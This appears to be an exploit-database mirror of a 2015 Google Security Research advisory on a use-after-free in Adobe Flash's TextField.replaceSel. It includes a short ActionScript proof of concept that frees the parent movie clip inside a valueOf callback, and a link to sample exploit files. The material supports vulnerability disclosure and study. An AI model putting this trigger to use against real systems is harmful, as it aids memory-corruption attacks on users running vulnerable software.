Adobe Flash TextField.replaceSel – Use-After-Free

  • 作者: Google Security Research
    日期: 2015-12-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39047/
  • Source: https://code.google.com/p/google-security-research/issues/detail?id=585
    
    There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free.
    
    A minimal PoC is as follows:
    
    var mc = this.createEmptyMovieClip("mc", 101);
    var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
    tf.replaceSel({valueOf : func});
    
    function func(){
    
    	mc.removeMovieClip();
    
    // Fix heap here
    
    	return "text";
    	
    	}
    
    A sample swf and fla are attached.
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39047.zip